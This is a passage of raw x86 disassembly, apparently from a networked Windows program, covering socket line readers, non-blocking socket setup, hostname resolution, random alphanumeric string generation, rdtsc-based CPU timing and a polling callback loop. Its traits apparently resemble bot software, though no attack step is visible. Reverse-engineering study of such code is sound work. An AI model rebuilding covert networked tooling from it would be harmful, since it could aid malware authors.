[esp+1Ch] mov ebp, [esp+18h] xor esi, esi dec eax cmp eax, ebx mov [ebp+0], bl mov byte ptr [esp+18h], 1 jle short loc_41ACB6 mov edi, ebp loc_41AC6B: ; CODE XREF: ___:0041ACB4j cmp edi, ebx jz short loc_41ACB6 cmp [esp+18h], bl jz short loc_41ACB6 call sub_40196A test al, al jz short loc_41ACB6 mov ecx, [esp+10h] push ebx push 1 push edi call sub_40196F test al, al jz short loc_41AC48 mov [esi+ebp+1], bl mov al, [edi] cmp al, 0Ah jz short loc_41ACA1 cmp al, 0Dh jz short loc_41ACA1 cmp al, bl jnz short loc_41ACA9 loc_41ACA1: ; CODE XREF: ___:0041AC97j ; ___:0041AC9Bj mov [esi+ebp-1], bl mov [esp+18h], bl loc_41ACA9: ; CODE XREF: ___:0041AC9Fj mov ecx, [esp+1Ch] inc esi inc edi lea eax, [ecx-1] cmp esi, eax jl short loc_41AC6B loc_41ACB6: ; CODE XREF: ___:0041AC67j ; ___:0041AC6Dj ... mov edx, [esp+1Ch] pop edi pop esi mov al, 1 mov [edx+ebp-1], bl pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AD00: ; CODE XREF: ___:004021A3j push ecx push ebx push ebp push esi mov esi, ecx push edi mov [esp+10h], esi call sub_40196A test al, al jnz short loc_41AD1C pop edi pop esi pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_41AD1C: ; CODE XREF: ___:0041AD12j mov al, [esi+80Bh] xor ebx, ebx cmp al, bl jnz short loc_41AD32 loc_41AD28: ; CODE XREF: ___:0041AD6Dj pop edi pop esi pop ebp xor al, al pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_41AD32: ; CODE XREF: ___:0041AD26j mov eax, [esp+1Ch] mov ebp, [esp+18h] xor esi, esi dec eax cmp eax, ebx mov [ebp+0], bl mov byte ptr [esp+18h], 1 jle short loc_41AD9D mov edi, ebp loc_41AD4B: ; CODE XREF: ___:0041AD9Bj cmp edi, ebx jz short loc_41AD9D cmp [esp+18h], bl jz short loc_41AD9D call sub_40196A test al, al jz short loc_41AD9D mov ecx, [esp+10h] push ebx push 1 push edi call sub_40196F test al, al jz short loc_41AD28 mov [esi+ebp+1], bl mov al, [edi] cmp al, 0Ah jz short loc_41AD7D cmp al, bl jnz short loc_41AD90 loc_41AD7D: ; CODE XREF: ___:0041AD77j cmp byte ptr [esi+ebp-1], 0Dh jnz short loc_41AD8A mov [esi+ebp-1], bl jmp short loc_41AD8C ; --------------------------------------------------------------------------- loc_41AD8A: ; CODE XREF: ___:0041AD82j mov [edi], bl loc_41AD8C: ; CODE XREF: ___:0041AD88j mov [esp+18h], bl loc_41AD90: ; CODE XREF: ___:0041AD7Bj mov ecx, [esp+1Ch] inc esi inc edi lea eax, [ecx-1] cmp esi, eax jl short loc_41AD4B loc_41AD9D: ; CODE XREF: ___:0041AD47j ; ___:0041AD4Dj ... mov edx, [esp+1Ch] pop edi pop esi mov al, 1 mov [edx+ebp-1], bl pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_41ADE0: ; CODE XREF: ___:00401082j push esi mov esi, ecx call sub_40196A test al, al jnz short loc_41ADF2 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_41ADF2: ; CODE XREF: ___:0041ADEAj mov eax, [esi+806h] cmp eax, 0FFFFFFFFh jnz short loc_41AE03 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_41AE03: ; CODE XREF: ___:0041ADFBj mov ecx, [esp+0Ch] mov edx, [esp+8] push ecx push edx push eax nop call near ptr 71AB951Eh pop esi retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41AE30 proc near ; CODE XREF: sub_4018A2j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx call sub_40196A test al, al jnz short loc_41AE42 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_41AE42: ; CODE XREF: sub_41AE30+Aj mov eax, [esi+806h] cmp eax, 0FFFFFFFFh jnz short loc_41AE53 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_41AE53: ; CODE XREF: sub_41AE30+1Bj mov ecx, [esp+4+arg_4] mov edx, [esp+4+arg_0] push ecx push edx push eax nop call near ptr 71AC0B50h pop esi retn 8 sub_41AE30 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AE80: ; CODE XREF: ___:00401C53j sub esp, 10Ch push esi mov esi, ecx xor ecx, ecx mov al, [esi+80Ch] cmp al, cl mov eax, [esi+806h] jnz short loc_41AEBF cmp eax, 0FFFFFFFFh jz short loc_41AEB5 cmp [esi+80Bh], cl jz short loc_41AEB5 mov eax, 1 pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41AEB5: ; CODE XREF: ___:0041AE9Ej ; ___:0041AEA6j xor eax, eax pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41AEBF: ; CODE XREF: ___:0041AE99j lea edx, [esp+4] mov [esp+10h], eax push edx lea edx, [esp+10h] push ecx push edx inc eax push ecx push eax mov dword ptr [esp+20h], 1 mov [esp+18h], ecx mov [esp+1Ch], ecx nop call near ptr 71AB2DC0h test eax, eax jnz short loc_41AEF5 xor al, al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41AEF5: ; CODE XREF: ___:0041AEE9j mov ecx, [esi+806h] lea eax, [esp+0Ch] push eax push ecx call sub_438256 ; --------------------------------------------------------------------------- test eax, eax setnz al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AF50: ; CODE XREF: ___:004016EFj sub esp, 10Ch push esi mov esi, ecx xor ecx, ecx cmp [esi+80Ch], cl jnz short loc_41AF6D xor al, al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41AF6D: ; CODE XREF: ___:0041AF61j mov eax, [esi+806h] lea edx, [esp+4] push edx lea edx, [esp+10h] mov [esp+14h], eax push edx push ecx inc eax push ecx push eax mov dword ptr [esp+20h], 1 mov [esp+18h], ecx mov [esp+1Ch], ecx call near ptr 71AB2DC0h nop test eax, eax jnz short loc_41AFA9 xor al, al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41AFA9: ; CODE XREF: ___:0041AF9Dj mov ecx, [esi+806h] lea eax, [esp+0Ch] push eax push ecx call sub_438256 ; --------------------------------------------------------------------------- test eax, eax setnz al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AFF0: ; CODE XREF: ___:00401744j push esi mov esi, [esp+8] push edi mov edi, ecx push 800h lea edx, [esi+6] mov ax, [edi+4] lea ecx, [edi+6] push ecx push edx mov [esi+4], ax nop call near ptr 77C47A90h xor al, al add esp, 0Ch mov dword ptr [esi+806h], 0FFFFFFFFh mov [esi+80Ch], al mov [esi+80Bh], al mov al, [edi+80Dh] mov [esi+80Dh], al pop edi pop esi retn 4 ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B060 proc near ; CODE XREF: sub_4018CAj arg_0 = dword ptr 4 mov al, byte ptr [esp+arg_0] test al, al mov [ecx+80Ch], al jz short loc_41B090 mov ecx, [ecx+806h] lea eax, [esp+arg_0] push eax push 8004667Eh push ecx mov [esp+0Ch+arg_0], 1 nop call near ptr 71AB4519h retn 4 ; --------------------------------------------------------------------------- loc_41B090: ; CODE XREF: sub_41B060+Cj mov eax, [ecx+806h] lea edx, [esp+arg_0] push edx push 8004667Eh push eax mov [esp+0Ch+arg_0], 0 nop call near ptr 71AB4519h retn 4 sub_41B060 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B0E0 proc near ; CODE XREF: sub_401186j push esi mov esi, ecx push 0 lea ecx, [esi+4] call sub_401C49 mov dword ptr [esi], offset off_43F0C0 mov eax, esi pop esi retn sub_41B0E0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B110 proc near ; CODE XREF: ___:00401924j sub_401E92j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_40187A test [esp+4+arg_0], 1 jz short loc_41B128 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_41B128: ; CODE XREF: sub_41B110+Dj mov eax, esi pop esi retn 4 sub_41B110 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B140 proc near ; CODE XREF: sub_40187Aj mov dword ptr [ecx], offset off_43F0C0 add ecx, 4 jmp sub_401FE6 sub_41B140 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B160 proc near ; CODE XREF: sub_401640j arg_0 = dword ptr 4 push esi push edi call sub_40196A test al, al jnz short loc_41B172 pop edi xor eax, eax pop esi retn 4 ; --------------------------------------------------------------------------- loc_41B172: ; CODE XREF: sub_41B160+9j mov esi, [esp+8+arg_0] push esi call near ptr 71AB2BF4h nop cmp eax, 0FFFFFFFFh jnz short loc_41B1C5 push esi nop call near ptr 71AB4FD4h mov edi, eax test edi, edi jnz short loc_41B197 pop edi or eax, 0FFFFFFFFh pop esi retn 4 ; --------------------------------------------------------------------------- loc_41B197: ; CODE XREF: sub_41B160+2Dj mov eax, [edi+0Ch] xor esi, esi cmp dword ptr [eax], 0 jz short loc_41B1AC loc_41B1A1: ; CODE XREF: sub_41B160+4Aj mov ecx, [eax+4] add eax, 4 inc esi test ecx, ecx jnz short loc_41B1A1 loc_41B1AC: ; CODE XREF: sub_41B160+3Fj call sub_401F0A dec esi push esi push 0 call sub_4021C6 ; --------------------------------------------------------------------------- mov ecx, [edi+0Ch] add esp, 8 mov edx, [ecx+eax*4] mov eax, [edx] loc_41B1C5: ; CODE XREF: sub_41B160+20j pop edi pop esi retn 4 sub_41B160 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B1F0: ; CODE XREF: ___:004020B3j push 0FFFFFFFFh push offset loc_43C007 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 38h push ebx push esi xor ebx, ebx push edi mov [esp+0Ch], ebx call sub_40196A test al, al jnz short loc_41B22F mov eax, [esp+58h] mov esi, [esp+54h] push eax mov ecx, esi call sub_401870 jmp loc_41B3DB ; --------------------------------------------------------------------------- loc_41B22F: ; CODE XREF: ___:0041B218j mov ecx, [esp+58h] push ecx lea ecx, [esp+30h] call sub_401870 mov edi, 1 lea ecx, [esp+2Ch] mov [esp+4Ch], edi call sub_4017EE test eax, eax push offset byte_448F40 jnz short loc_41B26C mov esi, [esp+58h] mov ecx, esi call sub_401870 mov [esp+0Ch], edi jmp loc_41B3CE ; --------------------------------------------------------------------------- loc_41B26C: ; CODE XREF: ___:0041B256j lea ecx, [esp+30h] call sub_4012EE test eax, eax push offset byte_448F40 jnz short loc_41B292 mov esi, [esp+58h] mov ecx, esi call sub_401870 mov [esp+0Ch], edi jmp loc_41B3CE ; --------------------------------------------------------------------------- loc_41B292: ; CODE XREF: ___:0041B27Cj lea ecx, [esp+18h] call sub_401870 lea edx, [esp+10h] push ebx push edx push ebx push ebx push 0Fh lea ecx, [esp+40h] mov byte ptr [esp+60h], 2 call sub_4017EE push eax call sub_4382C2 ; --------------------------------------------------------------------------- cmp eax, ebx jz short loc_41B2D6 mov esi, [esp+54h] lea eax, [esp+14h] push eax mov ecx, esi call sub_4014D3 mov [esp+0Ch], edi jmp loc_41B3C0 ; --------------------------------------------------------------------------- loc_41B2D6: ; CODE XREF: ___:0041B2BBj mov edi, [esp+10h] mov esi, offset dword_4447F8 mov ecx, [edi] mov eax, [ecx+4] loc_41B2E4: ; CODE XREF: ___:0041B302j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_41B308 cmp cl, bl jz short loc_41B304 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_41B308 add eax, 2 add esi, 2 cmp cl, bl jnz short loc_41B2E4 loc_41B304: ; CODE XREF: ___:0041B2EEj xor eax, eax jmp short loc_41B30D ; --------------------------------------------------------------------------- loc_41B308: ; CODE XREF: ___:0041B2EAj ; ___:0041B2F8j sbb eax, eax sbb eax, 0FFFFFFFFh loc_41B30D: ; CODE XREF: ___:0041B306j cmp eax, ebx jz short loc_41B37B push ebp loc_41B312: ; CODE XREF: ___:0041B365j ; ___:0041B369j nop call near ptr 27F0BB2h and eax, 0Fh cmp al, 8 jnz short loc_41B326 cmp word ptr [edi+8], 0Fh jz short loc_41B36B loc_41B326: ; CODE XREF: ___:0041B31Dj mov edi, [edi] mov ebp, [esp+14h] cmp edi, ebx jnz short loc_41B332 mov edi, ebp loc_41B332: ; CODE XREF: ___:0041B32Ej mov eax, [edi+4] mov esi, offset dword_4447F8 loc_41B33A: ; CODE XREF: ___:0041B358j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_41B35E cmp cl, bl jz short loc_41B35A mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_41B35E add eax, 2 add esi, 2 cmp cl, bl jnz short loc_41B33A loc_41B35A: ; CODE XREF: ___:0041B344j xor eax, eax jmp short loc_41B363 ; --------------------------------------------------------------------------- loc_41B35E: ; CODE XREF: ___:0041B340j ; ___:0041B34Ej sbb eax, eax sbb eax, 0FFFFFFFFh loc_41B363: ; CODE XREF: ___:0041B35Cj cmp eax, ebx jnz short loc_41B312 mov edi, ebp jmp short loc_41B312 ; --------------------------------------------------------------------------- loc_41B36B: ; CODE XREF: ___:0041B324j mov eax, [edi+18h] lea ecx, [esp+18h] push eax call sub_4015E1 pop ebp jmp short loc_41B388 ; --------------------------------------------------------------------------- loc_41B37B: ; CODE XREF: ___:0041B30Fj mov ecx, [edi+18h] push ecx lea ecx, [esp+18h] call sub_4015E1 loc_41B388: ; CODE XREF: ___:0041B379j push offset byte_448F40 lea ecx, [esp+18h] call sub_4012EE test eax, eax jnz short loc_41B3A8 mov edx, [esp+58h] lea ecx, [esp+14h] push edx call sub_4015E1 loc_41B3A8: ; CODE XREF: ___:0041B398j mov esi, [esp+54h] lea eax, [esp+14h] push eax mov ecx, esi call sub_4014D3 mov dword ptr [esp+0Ch], 1 loc_41B3C0: ; CODE XREF: ___:0041B2D1j lea ecx, [esp+14h] mov byte ptr [esp+4Ch], 1 call sub_401226 loc_41B3CE: ; CODE XREF: ___:0041B267j ; ___:0041B28Dj lea ecx, [esp+2Ch] mov [esp+4Ch], bl call sub_401226 loc_41B3DB: ; CODE XREF: ___:0041B22Aj mov ecx, [esp+44h] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx add esp, 44h retn 8 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B490: ; CODE XREF: ___:00402153j push esi mov esi, ecx call sub_401E88 push 0 lea ecx, [esi+15h] call sub_401C49 mov dword ptr [esi], offset off_43F0C4 mov dword ptr [esi+11h], 0 mov dword ptr [esi+823h], 0 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B4D0 proc near ; CODE XREF: sub_401406j ___:00402036j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401BE0 test [esp+4+arg_0], 1 jz short loc_41B4E8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_41B4E8: ; CODE XREF: sub_41B4D0+Dj mov eax, esi pop esi retn 4 sub_41B4D0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B500 proc near ; CODE XREF: sub_401BE0j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41B500 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401FE6 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_40204F mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_41B500 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B570: ; CODE XREF: ___:00401D52j push esi mov esi, ecx call sub_401E88 push 0 lea ecx, [esi+15h] call sub_401C49 mov eax, [esp+8] mov ecx, [esp+0Ch] mov [esi+11h], eax mov dword ptr [esi], offset off_43F0C4 mov [esi+823h], ecx mov eax, esi pop esi retn 8 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B5B0 proc near ; CODE XREF: sub_401686j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 14h push edi mov edi, ecx mov eax, [edi+11h] test eax, eax jz loc_41B6C0 mov ecx, [edi+823h] test ecx, ecx jz loc_41B6C0 push ebx push ebp lea ebx, [edi+15h] push esi push eax mov ecx, ebx xor esi, esi call sub_401492 mov ebp, dword_5118D8 test al, al jnz short loc_41B613 loc_41B5E9: ; CODE XREF: sub_41B5B0+61j mov al, [edi+10h] test al, al jz loc_41B6AF mov al, byte_4E8E54 test al, al jz short loc_41B613 push 7D0h call ebp mov eax, [edi+11h] mov ecx, ebx push eax call sub_401492 test al, al jz short loc_41B5E9 loc_41B613: ; CODE XREF: sub_41B5B0+37j ; sub_41B5B0+4Bj mov al, [edi+10h] test al, al jz loc_41B6AF loc_41B61E: ; CODE XREF: sub_41B5B0+F9j mov al, byte_4E8E54 test al, al jz loc_41B6AF test esi, esi jnz short loc_41B64E push 80Eh call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jz short loc_41B64A push esi mov ecx, eax call sub_401C49 jmp short loc_41B64C ; --------------------------------------------------------------------------- loc_41B64A: ; CODE XREF: sub_41B5B0+8Ej xor eax, eax loc_41B64C: ; CODE XREF: sub_41B5B0+98j mov esi, eax loc_41B64E: ; CODE XREF: sub_41B5B0+7Dj push 0 push 0 push esi mov ecx, ebx call sub_401B95 test al, al jnz short loc_41B667 push 7D0h call ebp jmp short loc_41B6A4 ; --------------------------------------------------------------------------- loc_41B667: ; CODE XREF: sub_41B5B0+ACj xor ecx, ecx lea edx, [esp+24h+var_14] mov [esp+24h+var_10], ecx lea eax, [esp+24h+var_10] mov [esp+24h+var_C], ecx push edx mov [esp+28h+var_8], ecx push eax mov [esp+2Ch+var_4], ecx mov ecx, esi mov [esp+2Ch+var_14], 10h call sub_4018A2 mov al, byte ptr [esp+24h+var_C] test al, al jz short loc_41B6A4 push esi call dword ptr [edi+823h] add esp, 4 loc_41B6A4: ; CODE XREF: sub_41B5B0+B5j ; sub_41B5B0+E8j mov al, [edi+10h] test al, al jnz loc_41B61E loc_41B6AF: ; CODE XREF: sub_41B5B0+3Ej ; sub_41B5B0+68j ... mov ecx, ebx call sub_4014E7 pop esi pop ebp pop ebx xor eax, eax pop edi add esp, 14h retn ; --------------------------------------------------------------------------- loc_41B6C0: ; CODE XREF: sub_41B5B0+Bj ; sub_41B5B0+19j xor eax, eax pop edi add esp, 14h retn sub_41B5B0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B720: ; CODE XREF: ___:00401C35j mov eax, [esp+0Ch] push ebx push ebp mov ebp, [esp+10h] push esi push edi xor ebx, ebx xor edi, edi dec eax mov [ebp+0], bl cmp eax, ebx mov byte ptr [esp+18h], 1 jle short loc_41B795 mov esi, ebp loc_41B73F: ; CODE XREF: ___:0041B793j cmp esi, ebx jz short loc_41B795 cmp [esp+18h], bl jz short loc_41B795 mov ecx, [esp+14h] push ebx push 1 push esi push ecx nop call near ptr 71AB615Ah cmp eax, ebx jz short loc_41B7A4 cmp eax, 0FFFFFFFFh jz short loc_41B7A4 call near ptr 71AB94DCh nop cmp eax, 2733h jz short loc_41B79D mov [edi+ebp+1], bl mov al, [esi] cmp al, 0Ah jz short loc_41B780 cmp al, 0Dh jz short loc_41B780 cmp al, bl jnz short loc_41B788 loc_41B780: ; CODE XREF: ___:0041B776j ; ___:0041B77Aj mov [edi+ebp-1], bl mov [esp+18h], bl loc_41B788: ; CODE XREF: ___:0041B77Ej mov edx, [esp+1Ch] inc edi inc esi lea eax, [edx-1] cmp edi, eax jl short loc_41B73F loc_41B795: ; CODE XREF: ___:0041B73Bj ; ___:0041B741j ... mov eax, [esp+1Ch] mov [eax+ebp-1], bl loc_41B79D: ; CODE XREF: ___:0041B76Cj pop edi pop esi pop ebp mov al, 1 pop ebx retn ; --------------------------------------------------------------------------- loc_41B7A4: ; CODE XREF: ___:0041B75Aj ; ___:0041B75Fj pop edi pop esi pop ebp xor al, al pop ebx retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B7E0 proc near ; CODE XREF: sub_401280j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] push ebx push ebp mov ebp, [esp+8+arg_4] push esi xor ebx, ebx xor esi, esi dec eax cmp eax, ebx push edi mov [ebp+0], bl mov byte ptr [esp+10h+arg_4], 1 jle short loc_41B84A mov edi, ebp loc_41B7FF: ; CODE XREF: sub_41B7E0+68j cmp edi, ebx jz short loc_41B84A cmp byte ptr [esp+10h+arg_4], bl jz short loc_41B84A mov ecx, [esp+10h+arg_0] push ebx push 1 push edi push ecx call near ptr 71AB615Ah nop test eax, eax jz short loc_41B859 mov [esi+ebp+1], bl mov al, [edi] cmp al, 0Ah jz short loc_41B82A cmp al, bl jnz short loc_41B83D loc_41B82A: ; CODE XREF: sub_41B7E0+44j cmp byte ptr [esi+ebp-1], 0Dh jnz short loc_41B837 mov [esi+ebp-1], bl jmp short loc_41B839 ; --------------------------------------------------------------------------- loc_41B837: ; CODE XREF: sub_41B7E0+4Fj mov [edi], bl loc_41B839: ; CODE XREF: sub_41B7E0+55j mov byte ptr [esp+10h+arg_4], bl loc_41B83D: ; CODE XREF: sub_41B7E0+48j mov edx, [esp+10h+arg_8] inc esi inc edi lea eax, [edx-1] cmp esi, eax jl short loc_41B7FF loc_41B84A: ; CODE XREF: sub_41B7E0+1Bj ; sub_41B7E0+21j ... mov eax, [esp+10h+arg_8] pop edi pop esi mov [eax+ebp-1], bl pop ebp mov al, 1 pop ebx retn ; --------------------------------------------------------------------------- loc_41B859: ; CODE XREF: sub_41B7E0+3Aj pop edi pop esi pop ebp xor al, al pop ebx retn sub_41B7E0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B880: ; CODE XREF: ___:00401AF0j push ebx mov ebx, [esp+8] push ebp mov ebp, [esp+10h] mov ecx, ebp push esi mov edx, ecx push edi xor eax, eax mov edi, ebx shr ecx, 2 rep stosd mov ecx, edx xor esi, esi and ecx, 3 test ebp, ebp rep stosb jle short loc_41B8DB loc_41B8A6: ; CODE XREF: ___:0041B8D9j push 3 push 1 call sub_4021C6 ; --------------------------------------------------------------------------- add esp, 8 dec eax jz short loc_41B8C7 dec eax jz short loc_41B8C1 dec eax jnz short loc_41B8D6 push 7Ah push 61h jmp short loc_41B8CB ; --------------------------------------------------------------------------- loc_41B8C1: ; CODE XREF: ___:0041B8B6j push 5Ah push 41h jmp short loc_41B8CB ; --------------------------------------------------------------------------- loc_41B8C7: ; CODE XREF: ___:0041B8B3j push 39h push 30h loc_41B8CB: ; CODE XREF: ___:0041B8BFj ; ___:0041B8C5j call sub_4021C6 ; --------------------------------------------------------------------------- add esp, 8 mov [esi+ebx], al loc_41B8D6: ; CODE XREF: ___:0041B8B9j inc esi cmp esi, ebp jl short loc_41B8A6 loc_41B8DB: ; CODE XREF: ___:0041B8A4j pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B900 proc near ; CODE XREF: sub_401424j rdtsc retn sub_41B900 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B920 proc near ; CODE XREF: sub_4017FDj var_4 = dword ptr -4 sub esp, 8 push ebx mov ebx, dword_5118D8 push ebp push esi push edi xor ebp, ebp loc_41B92F: ; CODE XREF: sub_41B920+43j ; sub_41B920+4Dj call sub_401424 push 3E8h mov esi, eax mov edi, edx call ebx call sub_401424 sub eax, esi push ebp sbb edx, edi push 186A0h push edx push eax call sub_437C60 push ebp push 0Ah push edx push eax call sub_437C60 cmp edx, ebp mov esi, eax ja short loc_41B92F jb short loc_41B96F cmp esi, 0F4240h ja short loc_41B92F loc_41B96F: ; CODE XREF: sub_41B920+45j push ebp push 64h push edx push esi call sub_437BE0 mov ecx, eax cmp edx, ebp mov eax, 64h mov [esp+18h+var_4], ebp ja short loc_41B9F9 jb short loc_41B98F cmp ecx, 50h jnb short loc_41B998 loc_41B98F: ; CODE XREF: sub_41B920+68j mov eax, 4Bh mov [esp+18h+var_4], ebp loc_41B998: ; CODE XREF: sub_41B920+6Dj cmp edx, ebp ja short loc_41B9F9 jb short loc_41B9A3 cmp ecx, 47h jnb short loc_41B9AC loc_41B9A3: ; CODE XREF: sub_41B920+7Cj mov eax, 42h mov [esp+18h+var_4], ebp loc_41B9AC: ; CODE XREF: sub_41B920+81j cmp edx, ebp ja short loc_41B9F9 jb short loc_41B9B7 cmp ecx, 37h jnb short loc_41B9C0 loc_41B9B7: ; CODE XREF: sub_41B920+90j mov eax, 32h mov [esp+18h+var_4], ebp loc_41B9C0: ; CODE XREF: sub_41B920+95j cmp edx, ebp ja short loc_41B9F9 jb short loc_41B9CB cmp ecx, 26h jnb short loc_41B9D4 loc_41B9CB: ; CODE XREF: sub_41B920+A4j mov eax, 21h mov [esp+18h+var_4], ebp loc_41B9D4: ; CODE XREF: sub_41B920+A9j cmp edx, ebp ja short loc_41B9F9 jb short loc_41B9DF cmp ecx, 1Eh jnb short loc_41B9E8 loc_41B9DF: ; CODE XREF: sub_41B920+B8j mov eax, 19h mov [esp+18h+var_4], ebp loc_41B9E8: ; CODE XREF: sub_41B920+BDj cmp edx, ebp ja short loc_41B9F9 jb short loc_41B9F3 cmp ecx, 0Ah jnb short loc_41B9F9 loc_41B9F3: ; CODE XREF: sub_41B920+CCj xor eax, eax mov [esp+18h+var_4], ebp loc_41B9F9: ; CODE XREF: sub_41B920+66j ; sub_41B920+7Aj ... sub eax, ecx pop edi add eax, esi pop esi pop ebp pop ebx add esp, 8 retn sub_41B920 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41BA50 proc near ; CODE XREF: sub_402040j var_40 = dword ptr -40h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_41BA50 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 34h mov al, byte_449739 push ebx push esi push edi test al, al mov [esp+4Ch+var_40], 0 jz loc_41BBAF push ebp lea ecx, [esp+50h+var_3C] call sub_40142E push 400h lea ecx, [esp+54h+var_3C] mov [esp+54h+var_4], 1 xor bl, bl call sub_401C71 mov ebp, eax call sub_401F0A lea ecx, [esp+50h+var_3C] call sub_4013E3 mov [esp+50h+arg_4], eax lea eax, [esp+50h+arg_4] push eax push ebp nop call near ptr 2820000h test eax, eax jnz short loc_41BAE6 mov edi, offset byte_448F40 or ecx, 0FFFFFFFFh repne scasb not ecx sub edi, ecx mov edx, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb loc_41BAE6: ; CODE XREF: sub_41BA50+74j movsx ecx, byte ptr [ebp+0] mov eax, 41h loc_41BAEF: ; CODE XREF: sub_41BA50+A9j cmp ecx, eax jnz short loc_41BAF5 mov bl, 1 loc_41BAF5: ; CODE XREF: sub_41BA50+A1j inc eax cmp eax, 5Bh jl short loc_41BAEF mov eax, 61h loc_41BB00: ; CODE XREF: sub_41BA50+BAj cmp ecx, eax jnz short loc_41BB06 mov bl, 1 loc_41BB06: ; CODE XREF: sub_41BA50+B2j inc eax cmp eax, 7Bh jl short loc_41BB00 test bl, bl jnz short loc_41BB32 mov edi, offset byte_448F40 or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_41BB32: ; CODE XREF: sub_41BA50+BEj mov esi, dword_511AC8 call esi ; rand cdq mov ecx, 0Ah idiv ecx lea ecx, [esp+50h+var_3C] push edx call sub_401140 call esi ; rand cdq mov ecx, 0Ah idiv ecx lea ecx, [esp+50h+var_3C] push edx call sub_401140 call esi ; rand cdq mov ecx, 0Ah idiv ecx lea ecx, [esp+50h+var_3C] push edx call sub_401140 mov esi, [esp+50h+arg_0] lea edx, [esp+50h+var_3C] push edx mov ecx, 